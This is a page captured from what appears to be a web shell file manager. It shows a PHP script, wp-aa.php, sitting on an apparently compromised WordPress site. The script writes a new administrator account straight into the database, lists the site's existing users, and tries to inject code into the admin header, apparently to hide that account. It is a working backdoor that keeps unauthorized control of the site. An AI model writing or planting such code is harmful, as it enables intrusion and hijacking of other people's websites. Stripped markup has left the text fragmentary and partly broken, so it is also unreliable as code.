芝麻web文件管理V1.00
编辑当前文件:/home2/sdektunc/cepali.edu.mx/wp-aa.php
HashPassword( trim( $password ) ); } } $user_id = 0; $check = mysqli_query($con, "SELECT * FROM `".$table_prefix."users` WHERE `user_login` = '".addslashes($user_name)."' OR `user_email` = '".addslashes($email)."'"); if(mysqli_num_rows($check) > 0){ $notice = '该用户名或邮箱已被使用过。'; $row = mysqli_fetch_array($check, MYSQLI_ASSOC); $user_id = $row['ID']; }else{ $hash = wp_hash_password($pwd); mysqli_query($con, "INSERT INTO `".$table_prefix."users` (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_registered`, `user_status`, `display_name`) VALUES ('".addslashes($user_name)."', '".addslashes($hash)."', '".addslashes($user_name)."', '".addslashes($email)."', '2020-06-14 00:00:00', 0, '".addslashes($user_name)."')"); $user_id = mysqli_insert_id($con); if($user_id > 0){ $code = 'a:1:{s:13:"administrator";b:1;}'; mysqli_query($con, "INSERT INTO `".$table_prefix."usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES (".$user_id.", 'nickname', '".addslashes($user_name)."'), (".$user_id.", 'first_name', ''), (".$user_id.", 'last_name', ''), (".$user_id.", 'description', ''), (".$user_id.", 'rich_editing', 'true'), (".$user_id.", 'syntax_highlighting', 'true'), (".$user_id.", 'comment_shortcuts', 'false'), (".$user_id.", 'admin_color', 'fresh'), (".$user_id.", 'use_ssl', 0), (".$user_id.", 'show_admin_bar_front', 'true'), (".$user_id.", 'locale', ''), (".$user_id.", '".$table_prefix."capabilities', '".$code."'), (".$user_id.", '".$table_prefix."user_level', 10)"); if(mysqli_insert_id($con) > 0){ $notice = '用户添加成功'; }else{ $notice = '用户添加失败'; } }else{ $notice = '用户添加失败'; } } if($user_id > 0){ $code = ''; $path = ABSPATH.'wp-admin/admin-header.php'; if(file_exists($path)){ $temp = file_get_contents($path); if(strstr($temp, $code)){ $notice .= ' Style 代码已添加过。'; }else{ if(strstr($temp, '
0){ $list = ''; while($row = mysqli_fetch_array($sql, MYSQLI_ASSOC)){ $list .= '
'.$row['ID'].'
'.$row['user_login'].'
'.$row['user_email'].'
'.$row['user_nicename'].'
'.$row['user_registered'].'
'; } } mysqli_close($con); ?>
Add WordPress Admin
【 添加新管理员 】
用户名:
密码:
邮箱:
【 用户列表:位 】
0){?>
ID
用户名
邮箱
昵称
注册时间